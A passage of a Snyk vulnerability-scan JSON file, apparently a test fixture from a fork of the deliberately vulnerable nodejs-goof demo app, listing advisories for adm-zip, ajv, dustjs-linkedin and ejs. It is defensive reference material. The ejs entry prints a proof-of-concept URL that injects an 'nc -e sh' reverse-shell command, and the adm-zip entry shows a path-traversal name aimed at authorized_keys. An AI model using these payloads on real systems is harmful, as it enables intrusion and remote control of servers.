forked from snyk-labs/nodejs-goof
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsnyk-filter-test.json
4771 lines (4771 loc) · 312 KB
/
snyk-filter-test.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
{
"vulnerabilities": [
{
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H/E:H/RL:O/RC:C",
"alternativeIds": [
"SNYK-JS-ADMZIP-11093"
],
"creationTime": "2018-05-30T12:09:16.138000Z",
"credit": [
"Snyk Security Research",
"Sébastien Mignot",
"Alex Chapman"
],
"cvssScore": 9.4,
"description": "## Overview\n\n[adm-zip](https://www.npmjs.com/package/adm-zip) is a JavaScript implementation for zip data compression for NodeJS.\n\n\nAffected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip).\n\n## Details\nIt is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a \"../../file.exe\" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\r\n\r\nThe following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\r\n\r\n```\r\n\r\n+2018-04-15 22:04:29 ..... 19 19 good.txt\r\n\r\n+2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\r\n\r\n```\n\n## Remediation\n\nUpgrade `adm-zip` to version 0.4.11 or higher.\n\n\n## References\n\n- [GitHub Commit](https://github.com/cthackers/adm-zip/commit/d01fa8c80c3a5fcf5ce1eda82d96600c62910d3f)\n\n- [GitHub Commit](https://github.com/cthackers/adm-zip/pull/212/commits/6f4dfeb9a2166e93207443879988f97d88a37cde)\n\n- [Hackerone Report](https://hackerone.com/reports/362118)\n\n- [Zip Slip Advisory](https://github.com/snyk/zip-slip-vulnerability)\n\n- [Zip Slip Advisory](https://snyk.io/research/zip-slip-vulnerability)\n",
"disclosureTime": "2018-04-14T21:00:00Z",
"exploit": "High",
"functions": [
{
"functionId": {
"filePath": "adm-zip.js",
"className": null,
"functionName": "module.exports.getEntry"
},
"version": [
">0.1.1 <0.4.11"
]
}
],
"fixedIn": [
"0.4.11"
],
"id": "npm:adm-zip:20180415",
"identifiers": {
"CWE": [
"CWE-29"
],
"NSP": [
"681",
"994"
],
"CVE": [
"CVE-2018-1002204"
],
"ALTERNATIVE": [
"SNYK-JS-ADMZIP-11093"
],
"GHSA": [
"GHSA-3v6h-hqm4-2rg6"
]
},
"language": "js",
"malicious": false,
"modificationTime": "2020-12-22T17:02:11.882075Z",
"moduleName": "adm-zip",
"packageManager": "npm",
"packageName": "adm-zip",
"patches": [],
"proprietary": true,
"publicationTime": "2018-05-31T07:09:16Z",
"references": [
{
"title": "GitHub Commit",
"url": "https://github.com/cthackers/adm-zip/commit/d01fa8c80c3a5fcf5ce1eda82d96600c62910d3f"
},
{
"title": "GitHub Commit",
"url": "https://github.com/cthackers/adm-zip/pull/212/commits/6f4dfeb9a2166e93207443879988f97d88a37cde"
},
{
"title": "Hackerone Report",
"url": "https://hackerone.com/reports/362118"
},
{
"title": "Zip Slip Advisory",
"url": "https://github.com/snyk/zip-slip-vulnerability"
},
{
"title": "Zip Slip Advisory",
"url": "https://snyk.io/research/zip-slip-vulnerability"
}
],
"severity": "critical",
"socialTrendAlert": false,
"title": "Arbitrary File Write via Archive Extraction (Zip Slip)",
"insights": {
"triageAdvice": null
},
"functions_new": [
{
"functionId": {
"filePath": "adm-zip.js",
"functionName": "module.exports.getEntry"
},
"version": [
">0.1.1 <0.4.11"
]
}
],
"semver": {
"vulnerable": [
"<0.4.11"
]
},
"severityWithCritical": "critical",
"from": [
"goof@1.0.1",
"adm-zip@0.4.7"
],
"upgradePath": [
false,
"adm-zip@0.4.11"
],
"isUpgradable": true,
"isPatchable": false,
"name": "adm-zip",
"version": "0.4.7"
},
{
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"alternativeIds": [],
"creationTime": "2020-07-16T08:19:48.462528Z",
"credit": [
"Unknown"
],
"cvssScore": 8.1,
"description": "## Overview\n[ajv](https://www.npmjs.com/package/ajv) is an Another JSON Schema Validator\n\nAffected versions of this package are vulnerable to Prototype Pollution. A carefully crafted JSON schema could be provided that allows execution of other code by prototype pollution. (While untrusted schemas are recommended against, the worst case of an untrusted schema should be a denial of service, not execution of code.)\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n<br> \n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack. <br>DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`). <br> The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service. <br>**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.<br>**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.<br> **For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `ajv` to version 6.12.3 or higher.\n## References\n- [HackerOne Report](https://hackerone.com/bugs?subject=user&report_id=894259)\n",
"disclosureTime": "2020-07-16T08:14:41Z",
"exploit": "Not Defined",
"functions": [],
"fixedIn": [
"6.12.3"
],
"id": "SNYK-JS-AJV-584908",
"identifiers": {
"CWE": [
"CWE-400"
],
"CVE": [
"CVE-2020-15366"
]
},
"language": "js",
"malicious": false,
"modificationTime": "2020-07-20T12:40:09.463832Z",
"moduleName": "ajv",
"packageManager": "npm",
"packageName": "ajv",
"patches": [],
"proprietary": false,
"publicationTime": "2020-07-16T13:58:04Z",
"references": [
{
"title": "HackerOne Report",
"url": "https://hackerone.com/bugs?subject=user&report_id=894259"
}
],
"severity": "high",
"socialTrendAlert": false,
"title": "Prototype Pollution",
"insights": {
"triageAdvice": null
},
"functions_new": [],
"semver": {
"vulnerable": [
"<6.12.3"
]
},
"severityWithCritical": "high",
"from": [
"goof@1.0.1",
"tap@11.1.5",
"coveralls@3.0.9",
"request@2.88.0",
"har-validator@5.1.3",
"ajv@6.10.2"
],
"upgradePath": [
false,
"tap@11.1.5",
"coveralls@3.0.9",
"request@2.88.0",
"har-validator@5.1.3",
"ajv@6.12.3"
],
"isUpgradable": true,
"isPatchable": false,
"name": "ajv",
"version": "6.10.2"
},
{
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L/E:P/RL:U/RC:R",
"alternativeIds": [],
"creationTime": "2021-03-26T13:20:28.488477Z",
"credit": [
"baiyecha404"
],
"cvssScore": 8.6,
"description": "## Overview\n[dustjs-linkedin](https://www.npmjs.com/package/dustjs-linkedin) is a Javascript templating engine designed to run asynchronously on both the server and the browser.\n\nAffected versions of this package are vulnerable to Prototype Pollution. It is possible to pollute the `blocks` Array attribute of the object `context` within the `compileBlocks` function. This vulnerability can be leveraged for code execution since this property is added to the `compiled` function which is then execute by the `vm` module.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n<br> \n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack. <br>DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`). <br> The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service. <br>**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.<br>**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.<br> **For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `dustjs-linkedin` to version 3.0.0 or higher.\n## References\n- [GitHub Commit](https://github.com/linkedin/dustjs/pull/805/commits/ddb6523832465d38c9d80189e9de60519ac307c3)\n- [GitHub Issue](https://github.com/linkedin/dustjs/issues/804)\n- [GitHub PR](https://github.com/linkedin/dustjs/pull/805)\n",
"disclosureTime": "2021-03-26T13:19:46Z",
"exploit": "Proof of Concept",
"functions": [],
"fixedIn": [
"3.0.0"
],
"id": "SNYK-JS-DUSTJSLINKEDIN-1089257",
"identifiers": {
"CWE": [
"CWE-1321"
],
"CVE": []
},
"language": "js",
"malicious": false,
"modificationTime": "2021-10-21T09:08:02.641971Z",
"moduleName": "dustjs-linkedin",
"packageManager": "npm",
"packageName": "dustjs-linkedin",
"patches": [],
"proprietary": false,
"publicationTime": "2021-04-26T16:18:43Z",
"references": [
{
"title": "GitHub Commit",
"url": "https://github.com/linkedin/dustjs/pull/805/commits/ddb6523832465d38c9d80189e9de60519ac307c3"
},
{
"title": "GitHub Issue",
"url": "https://github.com/linkedin/dustjs/issues/804"
},
{
"title": "GitHub PR",
"url": "https://github.com/linkedin/dustjs/pull/805"
}
],
"severity": "high",
"socialTrendAlert": false,
"title": "Prototype Pollution",
"insights": {
"triageAdvice": null
},
"functions_new": [],
"semver": {
"vulnerable": [
"<3.0.0"
]
},
"severityWithCritical": "high",
"from": [
"goof@1.0.1",
"dustjs-linkedin@2.5.0"
],
"upgradePath": [
false,
"dustjs-linkedin@3.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "dustjs-linkedin",
"version": "2.5.0"
},
{
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
"alternativeIds": [
"SNYK-JS-DUSTJSLINKEDIN-10136"
],
"creationTime": "2016-09-14T00:00:00Z",
"credit": [
"Michael Stepankin"
],
"cvssScore": 8.6,
"description": "## Overview\n[dustjs-linkedin](https://www.npmjs.com/package/dustjs-linkedin) is a Javascript templating engine designed to run asynchronously on both the server and the browser.\n\nAffected versions of this package are vulnerable to Code Injection. Dust.js uses Javascript's `eval()` function to evaluate the \"if\" statement conditions. The input to the function is sanitized by escaping all potentially dangerous characters.\r\n\r\nHowever, if the variable passed in is an array, no escaping is applied, exposing an easy path to code injection. The risk of exploit is especially high given the fact `express`, `koa` and many other Node.js servers allow users to force a query parameter to be an array using the `param[]=value` notation.\n## Remediation\nUpgrade `dustjs-linkedin` to version 2.6.0 or higher.\n## References\n- [Artsploit Blog](https://artsploit.blogspot.co.il/2016/08/pprce2.html)\n- [GitHub Commit](https://github.com/linkedin/dustjs/pull/534/commits/884be3bb3a34a843e6fb411100088e9b02326bd4)\n- [GitHub Issue](https://github.com/linkedin/dustjs/issues/741)\n- [GitHub PR](https://github.com/linkedin/dustjs/pull/534)\n",
"disclosureTime": "2015-01-09T00:00:00Z",
"exploit": "Not Defined",
"functions": [],
"fixedIn": [
"2.6.0"
],
"id": "npm:dustjs-linkedin:20160819",
"identifiers": {
"CWE": [
"CWE-95"
],
"ALTERNATIVE": [
"SNYK-JS-DUSTJSLINKEDIN-10136"
],
"CVE": []
},
"language": "js",
"malicious": false,
"modificationTime": "2020-12-14T14:40:58.977005Z",
"moduleName": "dustjs-linkedin",
"packageManager": "npm",
"packageName": "dustjs-linkedin",
"patches": [],
"proprietary": false,
"publicationTime": "2016-09-14T00:00:00Z",
"references": [
{
"title": "Artsploit Blog",
"url": "https://artsploit.blogspot.co.il/2016/08/pprce2.html"
},
{
"title": "GitHub Commit",
"url": "https://github.com/linkedin/dustjs/pull/534/commits/884be3bb3a34a843e6fb411100088e9b02326bd4"
},
{
"title": "GitHub Issue",
"url": "https://github.com/linkedin/dustjs/issues/741"
},
{
"title": "GitHub PR",
"url": "https://github.com/linkedin/dustjs/pull/534"
}
],
"severity": "high",
"socialTrendAlert": false,
"title": "Code Injection",
"insights": {
"triageAdvice": null
},
"functions_new": [],
"semver": {
"vulnerable": [
"<2.6.0"
]
},
"severityWithCritical": "high",
"from": [
"goof@1.0.1",
"dustjs-linkedin@2.5.0"
],
"upgradePath": [
false,
"dustjs-linkedin@2.6.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "dustjs-linkedin",
"version": "2.5.0"
},
{
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P",
"alternativeIds": [],
"creationTime": "2022-04-26T09:01:03.387695Z",
"credit": [
"evi0s"
],
"cvssScore": 8.1,
"description": "## Overview\n[ejs](https://www.npmjs.com/package/ejs) is a popular JavaScript templating engine.\n\nAffected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the `view options` parameter of `renderFile`, which makes it possible to inject code into `outputFunctionName`.\r\n\r\n\r\n**Note:**\r\nThis vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.\r\n\r\n## PoC:\r\nCreation of reverse shell:\r\n```\r\nhttp://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s\r\n```\n## Remediation\nUpgrade `ejs` to version 3.1.7 or higher.\n## References\n- [GitHub Commit](https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf)\n- [GitHub Issue](https://github.com/mde/ejs/issues/451)\n- [GitHub Release](https://github.com/mde/ejs/releases)\n- [Security Advisory](https://eslam.io/posts/ejs-server-side-template-injection-rce/)\n",
"disclosureTime": "2022-04-26T08:36:18Z",
"exploit": "Proof of Concept",
"functions": [],
"fixedIn": [
"3.1.7"
],
"id": "SNYK-JS-EJS-2803307",
"identifiers": {
"CWE": [
"CWE-94"
],
"CVE": [
"CVE-2022-29078"
]
},
"language": "js",
"malicious": false,
"modificationTime": "2022-04-26T13:41:31.873315Z",
"moduleName": "ejs",
"packageManager": "npm",
"packageName": "ejs",
"patches": [],
"proprietary": false,
"publicationTime": "2022-04-26T13:41:31.870922Z",
"references": [
{
"title": "GitHub Commit",
"url": "https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf"
},
{
"title": "GitHub Issue",
"url": "https://github.com/mde/ejs/issues/451"
},
{
"title": "GitHub Release",
"url": "https://github.com/mde/ejs/releases"
},
{
"title": "Security Advisory",
"url": "https://eslam.io/posts/ejs-server-side-template-injection-rce/"
}
],
"severity": "high",
"socialTrendAlert": false,
"title": "Remote Code Execution (RCE)",
"insights": {
"triageAdvice": null
},
"functions_new": [],
"semver": {
"vulnerable": [
"<3.1.7"
]
},
"severityWithCritical": "high",
"from": [
"goof@1.0.1",
"ejs@1.0.0"
],
"upgradePath": [
false,
"ejs@3.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "ejs",
"version": "1.0.0"
},
{
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"alternativeIds": [
"SNYK-JS-EJS-10218"
],
"creationTime": "2016-11-28T18:44:12.405000Z",
"credit": [
"Snyk Security Research Team"
],
"cvssScore": 8.1,
"description": "## Overview\r\n[`ejs`](https://www.npmjs.com/package/ejs) is a popular JavaScript templating engine.\r\nAffected versions of the package are vulnerable to _Remote Code Execution_ by letting the attacker under certain conditions control the source folder from which the engine renders include files.\r\nYou can read more about this vulnerability on the [Snyk blog](https://snyk.io/blog/fixing-ejs-rce-vuln).\r\n\r\nThere's also a [Cross-site Scripting](https://snyk.io/vuln/npm:ejs:20161130) & [Denial of Service](https://snyk.io/vuln/npm:ejs:20161130-1) vulnerabilities caused by the same behaviour. \r\n\r\n## Details\r\n`ejs` provides a few different options for you to render a template, two being very similar: `ejs.render()` and `ejs.renderFile()`. The only difference being that `render` expects a string to be used for the template and `renderFile` expects a path to a template file.\r\n\r\nBoth functions can be invoked in two ways. The first is calling them with `template`, `data`, and `options`:\r\n```js\r\nejs.render(str, data, options);\r\n\r\nejs.renderFile(filename, data, options, callback)\r\n```\r\nThe second way would be by calling only the `template` and `data`, while `ejs` lets the `options` be passed as part of the `data`:\r\n```js\r\nejs.render(str, dataAndOptions);\r\n\r\nejs.renderFile(filename, dataAndOptions, callback)\r\n```\r\n\r\nIf used with a variable list supplied by the user (e.g. by reading it from the URI with `qs` or equivalent), an attacker can control `ejs` options. This includes the `root` option, which allows changing the project root for includes with an absolute path. \r\n\r\n```js\r\nejs.renderFile('my-template', {root:'/bad/root/'}, callback);\r\n```\r\n\r\nBy passing along the root directive in the line above, any includes would now be pulled from `/bad/root` instead of the path intended. This allows the attacker to take control of the root directory for included scripts and divert it to a library under his control, thus leading to remote code execution.\r\n\r\nThe [fix](https://github.com/mde/ejs/commit/3d447c5a335844b25faec04b1132dbc721f9c8f6) introduced in version `2.5.3` blacklisted `root` options from options passed via the `data` object.\r\n\r\n## Disclosure Timeline\r\n- November 27th, 2016 - Reported the issue to package owner.\r\n- November 27th, 2016 - Issue acknowledged by package owner.\r\n- November 28th, 2016 - Issue fixed and version `2.5.3` released.\r\n\r\n## Remediation\r\nThe vulnerability can be resolved by either using the GitHub integration to [generate a pull-request](https://snyk.io/org/projects) from your dashboard or by running `snyk wizard` from the command-line interface.\r\nOtherwise, Upgrade `ejs` to version `2.5.3` or higher.\r\n\r\n## References\r\n- [Snyk Blog](https://snyk.io/blog/fixing-ejs-rce-vuln)\r\n- [Fix commit](https://github.com/mde/ejs/commit/3d447c5a335844b25faec04b1132dbc721f9c8f6)",
"disclosureTime": "2016-11-27T22:00:00Z",
"exploit": "Not Defined",
"functions": [
{
"functionId": {
"filePath": "lib/ejs.js",
"className": null,
"functionName": "cpOptsInData"
},
"version": [
">=2.2.1 <2.5.3"
]
},
{
"functionId": {
"filePath": "ejs.js",
"className": null,
"functionName": "1.cpOptsInData"
},
"version": [
">=2.2.1 <2.5.3"
]
},
{
"functionId": {
"filePath": "ejs.js",
"className": null,
"functionName": "1.exports.render"
},
"version": [
"<2.2.1"
]
},
{
"functionId": {
"filePath": "lib/ejs.js",
"className": null,
"functionName": "exports.render"
},
"version": [
"<2.2.1"
]
}
],
"fixedIn": [
"2.5.3"
],
"id": "npm:ejs:20161128",
"identifiers": {
"CWE": [
"CWE-94"
],
"ALTERNATIVE": [
"SNYK-JS-EJS-10218"
],
"CVE": [
"CVE-2017-1000228"
]
},
"language": "js",
"malicious": false,
"modificationTime": "2020-12-14T14:41:49.346213Z",
"moduleName": "ejs",
"packageManager": "npm",
"packageName": "ejs",
"patches": [
{
"comments": [],
"id": "patch:npm:ejs:20161128:0",
"modificationTime": "2019-12-03T11:40:45.851976Z",
"urls": [
"https://snyk-patches.s3.amazonaws.com/npm/ejs/20161128/ejs_20161128_0_0_3d447c5a335844b25faec04b1132dbc721f9c8f6.patch"
],
"version": "<2.5.3 >=2.2.4"
}
],
"proprietary": true,
"publicationTime": "2016-11-28T18:44:12Z",
"references": [
{
"title": "GitHub Commit",
"url": "https://github.com/mde/ejs/commit/3d447c5a335844b25faec04b1132dbc721f9c8f6"
},
{
"title": "Snyk Blog",
"url": "https://snyk.io/blog/fixing-ejs-rce-vuln"
}
],
"severity": "high",
"socialTrendAlert": false,
"title": "Arbitrary Code Execution",
"insights": {
"triageAdvice": null
},
"functions_new": [
{
"functionId": {
"filePath": "lib/ejs.js",
"functionName": "cpOptsInData"
},
"version": [
">=2.2.1 <2.5.3"
]
},
{
"functionId": {
"filePath": "ejs.js",
"functionName": "1.cpOptsInData"
},
"version": [
">=2.2.1 <2.5.3"
]
},
{
"functionId": {
"filePath": "ejs.js",
"functionName": "1.exports.render"
},
"version": [
"<2.2.1"
]
},
{
"functionId": {
"filePath": "lib/ejs.js",
"functionName": "exports.render"
},
"version": [
"<2.2.1"
]
}
],
"semver": {
"vulnerable": [
"<2.5.3"
]
},
"severityWithCritical": "high",
"from": [
"goof@1.0.1",
"ejs@1.0.0"
],
"upgradePath": [
false,
"ejs@2.5.3"
],
"isUpgradable": true,
"isPatchable": false,
"name": "ejs",
"version": "1.0.0"
},
{
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P",
"alternativeIds": [],
